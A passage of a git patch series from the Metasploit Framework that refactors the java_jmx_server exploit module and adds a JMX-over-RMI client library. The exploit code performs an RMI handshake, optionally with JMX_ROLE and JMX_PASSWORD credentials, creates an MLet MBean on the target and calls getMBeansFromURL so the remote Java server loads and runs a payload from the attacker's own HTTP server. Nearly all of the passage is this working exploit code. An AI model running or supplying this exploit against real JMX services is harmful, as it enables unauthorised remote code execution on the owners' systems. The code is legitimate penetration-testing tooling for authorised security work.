vprint_good("#{peer} - javax.management.loading.MLet already found") - when 'javax.management.ObjectInstance' - vprint_good("#{peer} - javax.management.loading.MLet instance created") + elsif return_value.get_class_name == 'javax.management.ObjectInstance' + vprint_good("#{peer} - MLet instance found, using it") else - vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") - return false + vprint_warning("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}") end vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") - invoke_mlet_get_mbean_from_url = invoke_stream( + return_value = send_jmx_invoke( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, @@ -354,9 +311,6 @@ class Metasploit3 < Msf::Exploit::Remote method: 'getMBeansFromURL', args: { 'java.lang.String' => "#{get_uri}/mlet" } ) - send_call(call: invoke_mlet_get_mbean_from_url) - return_value = recv_return - vprint_status("Stopping service...") stop_service @@ -365,7 +319,7 @@ class Metasploit3 < Msf::Exploit::Remote return false end - answer = extract_object(return_value.value[2]) + answer = extract_object(return_value.value[0]) if answer.nil? vprint_error("#{peer} - Unexpected getMBeansFromURL answer") @@ -373,10 +327,7 @@ class Metasploit3 < Msf::Exploit::Remote end case answer - when 'javax.management.InstanceAlreadyExistsException' - vprint_good("#{peer} - The remote payload was already loaded... okey, using it!") - return true - when 'javax.management.ObjectInstance' + when 'java.util.HashSet' vprint_good("#{peer} - The remote payload has been loaded!") return true else From 6934fde5a17a3f9e8b2bf07c6b6be3f3254d74e0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 23 Mar 2015 15:49:18 -0500 Subject: [PATCH 28/58] Finish first draft of new jmx mixin --- lib/msf/java/rmi/client/jmx.rb | 17 +++++ lib/msf/java/rmi/client/jmx/connection.rb | 62 +++++++++++++++ lib/msf/java/rmi/client/jmx/server.rb | 48 ++++++++++++ lib/msf/java/rmi/client/jmx/server/builder.rb | 68 +++++++++++++++++ lib/msf/java/rmi/client/jmx/server/parser.rb | 76 +++++++++++++++++++ 5 files changed, 271 insertions(+) create mode 100644 lib/msf/java/rmi/client/jmx.rb create mode 100644 lib/msf/java/rmi/client/jmx/connection.rb create mode 100644 lib/msf/java/rmi/client/jmx/server.rb create mode 100644 lib/msf/java/rmi/client/jmx/server/builder.rb create mode 100644 lib/msf/java/rmi/client/jmx/server/parser.rb diff --git a/lib/msf/java/rmi/client/jmx.rb b/lib/msf/java/rmi/client/jmx.rb new file mode 100644 index 0000000000..85acae7404 --- /dev/null +++ b/lib/msf/java/rmi/client/jmx.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Registry + require 'msf/java/rmi/client/jmx/server' + require 'msf/java/rmi/client/jmx/connection' + + include Msf::Java::Rmi::Client::Jmx::Server + include Msf::Java::Rmi::Client::Jmx::Connection + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/connection.rb b/lib/msf/java/rmi/client/jmx/connection.rb new file mode 100644 index 0000000000..8c9a948856 --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/connection.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Registry + require 'msf/java/rmi/client/jmx/connection/builder' + require 'msf/java/rmi/client/jmx/connection/parser' + + include Msf::Java::Rmi::Client::Jmx::Connection::Builder + include Msf::Java::Rmi::Client::Jmx::Connection::Parser + + def send_jmx_get_object_instance(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_get_object_instance(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + return_value + #remote_object = parse_jmx_get_object_instance(return_value) + + #remote_object + end + end + + def send_jmx_create_mbean(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_create_mbean(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + return_value + #remote_object = parse_jmx_get_object_instance(return_value) + + #remote_object + end + + def send_jmx_invoke(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_invoke(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + return_value + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/server.rb b/lib/msf/java/rmi/client/jmx/server.rb new file mode 100644 index 0000000000..b89fdb4354 --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/server.rb @@ -0,0 +1,48 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Registry + require 'msf/java/rmi/client/jmx/server/builder' + require 'msf/java/rmi/client/jmx/server/parser' + + include Msf::Java::Rmi::Client::Jmx::Server::Builder + include Msf::Java::Rmi::Client::Jmx::Server::Parser + + # Sends a Registry lookup call to the RMI endpoint + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Hash, NilClass] The remote reference information if success, nil otherwise + # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup + def send_new_client(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_new_client(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + remote_object = parse_jmx_new_client(return_value) + + if remote_object.nil? + return nil + end + + remote_location = parse_jmx_new_client_endpoint(return_value) + + if remote_location.nil? + return nil + end + + {object: remote_object}.merge(remote_location) + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/server/builder.rb b/lib/msf/java/rmi/client/jmx/server/builder.rb new file mode 100644 index 0000000000..a46aeb769a --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/server/builder.rb @@ -0,0 +1,68 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Jmx + module Server + module Builder + + # Builds an RMI call to java.rmi.registry.Registry.lookup() used to + # retrieve the remote reference bound to a name. + # + # @param opts [Hash] + # @option opts [String] :name the name to lookup + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call + def build_jmx_new_client(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + username = opts[:username] || '' + password = opts[:password] || '' + + arguments = build_jmx_new_client_args(username, password) + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient + arguments: arguments + ) + + call + end + + # Builds a Rex::Java::Serialization::Model::NewArray with credentials + # to make an authenticated handshake + # + # @param username [String] The username (role) to authenticate with + # @param password [String] The password to authenticate with + # @return [Rex::Java::Serialization::Model::NewArray] + def build_jmx_new_client_args(username = '', password = '') + builder = Rex::Java::Serialization::Builder.new + + auth_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + ) + + [auth_array] + end + end + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/server/parser.rb b/lib/msf/java/rmi/client/jmx/server/parser.rb new file mode 100644 index 0000000000..bd786403df --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/server/parser.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Jmx + module Server + module Parser + + # Parses a java.rmi.registry.Registry.lookup() return value to find out + # the remote object bound. + # + # @param return_value [Rex::Proto::Rmi::Model::ReturnValue] + # @return [String, NilClass] The remote object name if success, nil otherwise + def parse_jmx_new_client(return_value) + if return_value.nil? || return_value.is_exception? + return nil + end + + unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject) + return nil + end + + case return_value.value[0].class_desc.description + when Rex::Java::Serialization::Model::NewClassDesc + return return_value.value[0].class_desc.description.class_name.contents + when Rex::Java::Serialization::Model::ProxyClassDesc + return return_value.value[0].class_desc.description.interfaces[0].contents + else + return nil + end + end + + # Parses a java.rmi.registry.Registry.lookup() return value to find out + # the remote reference information. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [Hash, NilClass] The remote interface information if success, nil otherwise + def parse_jmx_new_client_endpoint(return_value) + if return_value.nil? || return_value.is_exception? + return nil + end + + values_size = return_value.value.length + end_point_block_data = return_value.value[values_size - 2] + unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) + return nil + end + + return_io = StringIO.new(end_point_block_data.contents, 'rb') + + ref = extract_string(return_io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(return_io) + return nil unless address + + port = extract_int(return_io) + return nil unless port + + object_number = extract_long(return_io) + + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(return_io) + + {address: address, port: port, object_number: object_number, uid: uid} + end + end + end + end + end + end + end +end From d8d4c23d60ad2ba8a2de0e1661baeeb9eafd6a1b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 23 Mar 2015 17:06:51 -0500 Subject: [PATCH 29/58] JMX code refactoring --- lib/msf/java/rmi/client/jmx/connection.rb | 84 +++++--- .../java/rmi/client/jmx/connection/parser.rb | 39 ---- lib/msf/java/rmi/client/jmx/server.rb | 14 +- lib/msf/java/rmi/client/jmx/server/parser.rb | 24 +-- lib/rex/proto/rmi.rb | 1 + lib/rex/proto/rmi/exception.rb | 10 + .../exploits/multi/misc/java_jmx_server.rb | 197 ++++++++---------- 7 files changed, 170 insertions(+), 199 deletions(-) delete mode 100644 lib/msf/java/rmi/client/jmx/connection/parser.rb create mode 100644 lib/rex/proto/rmi/exception.rb diff --git a/lib/msf/java/rmi/client/jmx/connection.rb b/lib/msf/java/rmi/client/jmx/connection.rb index 8c9a948856..e69f85c457 100644 --- a/lib/msf/java/rmi/client/jmx/connection.rb +++ b/lib/msf/java/rmi/client/jmx/connection.rb @@ -4,12 +4,10 @@ module Msf module Java module Rmi module Client - module Registry + module Connection require 'msf/java/rmi/client/jmx/connection/builder' - require 'msf/java/rmi/client/jmx/connection/parser' include Msf::Java::Rmi::Client::Jmx::Connection::Builder - include Msf::Java::Rmi::Client::Jmx::Connection::Parser def send_jmx_get_object_instance(opts = {}) send_call( @@ -21,40 +19,70 @@ module Msf sock: opts[:sock] || sock ) - return_value - #remote_object = parse_jmx_get_object_instance(return_value) + if return_value.nil? + return nil + end - #remote_object + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end + + true end - end - def send_jmx_create_mbean(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_create_mbean(opts) - ) + def send_jmx_create_mbean(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_create_mbean(opts) + ) - return_value = recv_return( - sock: opts[:sock] || sock - ) + return_value = recv_return( + sock: opts[:sock] || sock + ) - return_value - #remote_object = parse_jmx_get_object_instance(return_value) + if return_value.nil? + return nil + end - #remote_object - end + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end - def send_jmx_invoke(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_invoke(opts) - ) + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end - return_value = recv_return( - sock: opts[:sock] || sock - ) + true + end - return_value + def send_jmx_invoke(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_invoke(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'java.util.HashSet' + return nil + end + + true + end end end end diff --git a/lib/msf/java/rmi/client/jmx/connection/parser.rb b/lib/msf/java/rmi/client/jmx/connection/parser.rb deleted file mode 100644 index bb6db05bd6..0000000000 --- a/lib/msf/java/rmi/client/jmx/connection/parser.rb +++ /dev/null @@ -1,39 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Jmx - module Connection - module Parser - def parse_jmx_get_object_instance(return_value) - if return_value.nil? || return_value.is_exception? - puts "is exception :?" - puts "#{return_value.value[0].class}" - puts "#{return_value.value[0].class_desc.description.class_name.contents}" - return nil - end - - puts "#{return_value.value[0].class}" - - unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject) - return nil - end - - case return_value.value[0].class_desc.description - when Rex::Java::Serialization::Model::NewClassDesc - return return_value.value[0].class_desc.description.class_name.contents - when Rex::Java::Serialization::Model::ProxyClassDesc - return return_value.value[0].class_desc.description.interfaces[0].contents - else - return nil - end - end - end - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/jmx/server.rb b/lib/msf/java/rmi/client/jmx/server.rb index b89fdb4354..d93c409b4e 100644 --- a/lib/msf/java/rmi/client/jmx/server.rb +++ b/lib/msf/java/rmi/client/jmx/server.rb @@ -27,19 +27,17 @@ module Msf sock: opts[:sock] || sock ) - remote_object = parse_jmx_new_client(return_value) - - if remote_object.nil? + if return_value.nil? return nil end - remote_location = parse_jmx_new_client_endpoint(return_value) - - if remote_location.nil? - return nil + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name end - {object: remote_object}.merge(remote_location) + ref = parse_jmx_new_client(return_value) + + ref end end end diff --git a/lib/msf/java/rmi/client/jmx/server/parser.rb b/lib/msf/java/rmi/client/jmx/server/parser.rb index bd786403df..d65e99858d 100644 --- a/lib/msf/java/rmi/client/jmx/server/parser.rb +++ b/lib/msf/java/rmi/client/jmx/server/parser.rb @@ -14,22 +14,24 @@ module Msf # @param return_value [Rex::Proto::Rmi::Model::ReturnValue] # @return [String, NilClass] The remote object name if success, nil otherwise def parse_jmx_new_client(return_value) - if return_value.nil? || return_value.is_exception? - return nil - end - - unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject) - return nil - end + return_object = '' case return_value.value[0].class_desc.description when Rex::Java::Serialization::Model::NewClassDesc - return return_value.value[0].class_desc.description.class_name.contents + return_object = return_value.value[0].class_desc.description.class_name.contents when Rex::Java::Serialization::Model::ProxyClassDesc - return return_value.value[0].class_desc.description.interfaces[0].contents + return_object = return_value.value[0].class_desc.description.interfaces[0].contents else return nil end + + unless return_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + return nil + end + + ref = parse_jmx_new_client_endpoint(return_value) + + ref end # Parses a java.rmi.registry.Registry.lookup() return value to find out @@ -38,10 +40,6 @@ module Msf # @param return_value [Rex::Java::Serialization::Model::ReturnValue] # @return [Hash, NilClass] The remote interface information if success, nil otherwise def parse_jmx_new_client_endpoint(return_value) - if return_value.nil? || return_value.is_exception? - return nil - end - values_size = return_value.value.length end_point_block_data = return_value.value[values_size - 2] unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) diff --git a/lib/rex/proto/rmi.rb b/lib/rex/proto/rmi.rb index 74505c57f2..815a1e8bb3 100644 --- a/lib/rex/proto/rmi.rb +++ b/lib/rex/proto/rmi.rb @@ -3,5 +3,6 @@ # JAVA RMI Wire protocol implementation # http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html +require 'rex/proto/rmi/exception' require 'rex/proto/rmi/model' diff --git a/lib/rex/proto/rmi/exception.rb b/lib/rex/proto/rmi/exception.rb new file mode 100644 index 0000000000..dfe9cde013 --- /dev/null +++ b/lib/rex/proto/rmi/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + class Exception + end + end + end +end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 322d3db1ed..09eab92f5a 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Java::Jmx include Msf::Exploit::Remote::HttpServer include Msf::Java::Rmi::Client @@ -185,68 +184,51 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - print_status("#{ref.inspect}") - ref end def handshake(mbean) - - ref = send_new_client( - object_number: mbean[:object_number], - uid_number: mbean[:uid].number, - uid_time: mbean[:uid].time, - uid_count: mbean[:uid].count - ) - - print_status("#{ref.inspect}") - - ref -=begin - case answer - when 'java.lang.SecurityException' - vprint_error("#{peer} - JMX end point requires authentication, but it failed") - return nil - when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' - vprint_good("#{peer} - Handshake completed, proceeding...") - conn_stub = extract_unicast_ref(StringIO.new(return_value.value[1].contents)) - else - vprint_error("#{peer} - Handshake returned unexpected object #{answer}") + begin + ref = send_new_client( + object_number: mbean[:object_number], + uid_number: mbean[:uid].number, + uid_time: mbean[:uid].time, + uid_count: mbean[:uid].count + ) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}") return nil end - print_status("#{conn_stub.inspect}") - - conn_stub -=end + ref end def load_payload(conn_stub) - vprint_status("#{peer} - Getting JMXPayload instance...") - return_value = send_jmx_get_object_instance( - object_number: conn_stub[:object_number], - uid_number: conn_stub[:uid].number, - uid_time: conn_stub[:uid].time, - uid_count: conn_stub[:uid].count, - name: "#{@mlet}:name=jmxpayload,id=1" - ) - if return_value.nil? - return false - elsif return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceNotFoundException' - vprint_warning("#{peer} - JMXPayload instance not found, trying to load") - return load_payload_from_url(conn_stub) - elsif return_value.is_exception? - vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}") - return false - elsif return_value.get_class_name == 'javax.management.ObjectInstance' - vprint_good("#{peer} - JMXPayload instance found, using it") - return true - else - vprint_error("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}") - return false + begin + res = send_jmx_get_object_instance( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: "#{@mlet}:name=jmxpayload,id=1" + ) + rescue ::Rex::Proto::Rmi::Exception => e + case e.message + when 'javax.management.InstanceNotFoundException' + vprint_warning("#{peer} - JMXPayload instance not found, trying to load") + return load_payload_from_url(conn_stub) + else + vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}") + return false + end end + + + return false if res.nil? + + true end def load_payload_from_url(conn_stub) @@ -255,85 +237,78 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") - return_value = send_jmx_create_mbean( - object_number: conn_stub[:object_number], - uid_number: conn_stub[:uid].number, - uid_time: conn_stub[:uid].time, - uid_count: conn_stub[:uid].count, - name: 'javax.management.loading.MLet' - ) + begin + res = send_jmx_create_mbean( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: 'javax.management.loading.MLet' + ) + rescue ::Rex::Proto::Rmi::Exception => e + case e.message + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - javax.management.loading.MLet already exists") + res = true + when 'java.lang.SecurityException' + vprint_error("#{peer} - The provided user hasn't enough privileges") + res = nil + else + vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}") + res = nil + end + end - if return_value.nil? + if res.nil? vprint_error("#{peer} - The request to createMBean failed") return false end - if return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceAlreadyExistsException' - vprint_good("#{peer} - javax.management.loading.MLet already exists") - elsif return_value.is_exception? && return_value.get_class_name == 'java.lang.SecurityException' - vprint_error("#{peer} - The provided user hasn't enough privileges") - return false - elsif return_value.get_class_name == 'javax.management.ObjectInstance' - vprint_good("#{peer} - javax.management.loading.MLet created") - else - vprint_error("#{peer} - createMBean returned unexpected value #{return_value.get_class_name}") + vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") + begin + res = send_jmx_get_object_instance( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: 'DefaultDomain:type=MLet' + ) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}") return false end - vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") - return_value = send_jmx_get_object_instance( - object_number: conn_stub[:object_number], - uid_number: conn_stub[:uid].number, - uid_time: conn_stub[:uid].time, - uid_count: conn_stub[:uid].count, - name: 'DefaultDomain:type=MLet' - ) - - if return_value.nil? + if res.nil? + vprint_error("#{peer} - The request to GetObjectInstance failed") return false - elsif return_value.is_exception? - vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}") - return false - elsif return_value.get_class_name == 'javax.management.ObjectInstance' - vprint_good("#{peer} - MLet instance found, using it") - else - vprint_warning("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}") end vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") - return_value = send_jmx_invoke( - object_number: conn_stub[:object_number], - uid_number: conn_stub[:uid].number, - uid_time: conn_stub[:uid].time, - uid_count: conn_stub[:uid].count, - object: 'DefaultDomain:type=MLet', - method: 'getMBeansFromURL', - args: { 'java.lang.String' => "#{get_uri}/mlet" } - ) - vprint_status("Stopping service...") - stop_service + begin + res = send_jmx_invoke( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => "#{get_uri}/mlet" } + ) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}") + return false + ensure + vprint_status("Stopping service...") + stop_service + end - if return_value.nil? + if res.nil? vprint_error("#{peer} - The call to getMBeansFromURL failed") return false end - answer = extract_object(return_value.value[0]) - - if answer.nil? - vprint_error("#{peer} - Unexpected getMBeansFromURL answer") - return false - end - - case answer - when 'java.util.HashSet' - vprint_good("#{peer} - The remote payload has been loaded!") - return true - else - vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}") - return false - end + true end end From 04341bfc78f4c151c3f4c602545d2edb2866f4f4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 23 Mar 2015 17:32:26 -0500 Subject: [PATCH 30/58] Support JMX_ROLE again --- lib/msf/java/rmi/client/jmx/connection.rb | 140 +++++++++--------- lib/msf/java/rmi/client/jmx/server.rb | 60 ++++---- lib/msf/java/rmi/client/jmx/server/builder.rb | 8 +- lib/rex/proto/rmi/exception.rb | 2 +- .../exploits/multi/misc/java_jmx_server.rb | 16 +- 5 files changed, 122 insertions(+), 104 deletions(-) diff --git a/lib/msf/java/rmi/client/jmx/connection.rb b/lib/msf/java/rmi/client/jmx/connection.rb index e69f85c457..478cf90ca8 100644 --- a/lib/msf/java/rmi/client/jmx/connection.rb +++ b/lib/msf/java/rmi/client/jmx/connection.rb @@ -4,84 +4,86 @@ module Msf module Java module Rmi module Client - module Connection - require 'msf/java/rmi/client/jmx/connection/builder' + module Jmx + module Connection + require 'msf/java/rmi/client/jmx/connection/builder' - include Msf::Java::Rmi::Client::Jmx::Connection::Builder + include Msf::Java::Rmi::Client::Jmx::Connection::Builder - def send_jmx_get_object_instance(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_get_object_instance(opts) - ) + def send_jmx_get_object_instance(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_get_object_instance(opts) + ) - return_value = recv_return( - sock: opts[:sock] || sock - ) + return_value = recv_return( + sock: opts[:sock] || sock + ) - if return_value.nil? - return nil + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end + + true end - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + def send_jmx_create_mbean(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_create_mbean(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end + + true end - unless return_value.get_class_name == 'javax.management.ObjectInstance' - return nil + def send_jmx_invoke(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_invoke(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'java.util.HashSet' + return nil + end + + true end - - true - end - - def send_jmx_create_mbean(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_create_mbean(opts) - ) - - return_value = recv_return( - sock: opts[:sock] || sock - ) - - if return_value.nil? - return nil - end - - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name - end - - unless return_value.get_class_name == 'javax.management.ObjectInstance' - return nil - end - - true - end - - def send_jmx_invoke(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_invoke(opts) - ) - - return_value = recv_return( - sock: opts[:sock] || sock - ) - - if return_value.nil? - return nil - end - - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name - end - - unless return_value.get_class_name == 'java.util.HashSet' - return nil - end - - true end end end diff --git a/lib/msf/java/rmi/client/jmx/server.rb b/lib/msf/java/rmi/client/jmx/server.rb index d93c409b4e..b753a612ab 100644 --- a/lib/msf/java/rmi/client/jmx/server.rb +++ b/lib/msf/java/rmi/client/jmx/server.rb @@ -4,40 +4,42 @@ module Msf module Java module Rmi module Client - module Registry - require 'msf/java/rmi/client/jmx/server/builder' - require 'msf/java/rmi/client/jmx/server/parser' + module Jmx + module Server + require 'msf/java/rmi/client/jmx/server/builder' + require 'msf/java/rmi/client/jmx/server/parser' - include Msf::Java::Rmi::Client::Jmx::Server::Builder - include Msf::Java::Rmi::Client::Jmx::Server::Parser + include Msf::Java::Rmi::Client::Jmx::Server::Builder + include Msf::Java::Rmi::Client::Jmx::Server::Parser - # Sends a Registry lookup call to the RMI endpoint - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Hash, NilClass] The remote reference information if success, nil otherwise - # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup - def send_new_client(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_new_client(opts) - ) + # Sends a Registry lookup call to the RMI endpoint + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Hash, NilClass] The remote reference information if success, nil otherwise + # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup + def send_new_client(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_new_client(opts) + ) - return_value = recv_return( - sock: opts[:sock] || sock - ) + return_value = recv_return( + sock: opts[:sock] || sock + ) - if return_value.nil? - return nil + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + ref = parse_jmx_new_client(return_value) + + ref end - - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name - end - - ref = parse_jmx_new_client(return_value) - - ref end end end diff --git a/lib/msf/java/rmi/client/jmx/server/builder.rb b/lib/msf/java/rmi/client/jmx/server/builder.rb index a46aeb769a..7df2bfd517 100644 --- a/lib/msf/java/rmi/client/jmx/server/builder.rb +++ b/lib/msf/java/rmi/client/jmx/server/builder.rb @@ -20,10 +20,14 @@ module Msf uid_number = opts[:uid_number] || 0 uid_time = opts[:uid_time] || 0 uid_count = opts[:uid_count] || 0 - username = opts[:username] || '' + username = opts[:username] password = opts[:password] || '' - arguments = build_jmx_new_client_args(username, password) + if username + arguments = build_jmx_new_client_args(username, password) + else + arguments = [Rex::Java::Serialization::Model::NullReference.new] + end call = build_call( object_number: object_number, diff --git a/lib/rex/proto/rmi/exception.rb b/lib/rex/proto/rmi/exception.rb index dfe9cde013..e56d52711f 100644 --- a/lib/rex/proto/rmi/exception.rb +++ b/lib/rex/proto/rmi/exception.rb @@ -3,7 +3,7 @@ module Rex module Proto module Rmi - class Exception + class Exception < ::RuntimeError end end end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 09eab92f5a..1690f8fa94 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -51,7 +51,9 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options([ - Opt::RPORT(1617) + Opt::RPORT(1617), + Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) ], self.class) end @@ -189,12 +191,20 @@ class Metasploit3 < Msf::Exploit::Remote def handshake(mbean) begin - ref = send_new_client( + opts = { object_number: mbean[:object_number], uid_number: mbean[:uid].number, uid_time: mbean[:uid].time, uid_count: mbean[:uid].count - ) + } + + if datastore['JMX_ROLE'] + username = datastore['JMX_ROLE'] + password = datastore['JMX_PASSWORD'] + opts.merge!(username: username, password: password) + end + + ref = send_new_client(opts) rescue ::Rex::Proto::Rmi::Exception => e vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}") return nil From 39e87f927a9a36d9cec4c242f61387702a8e2466 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 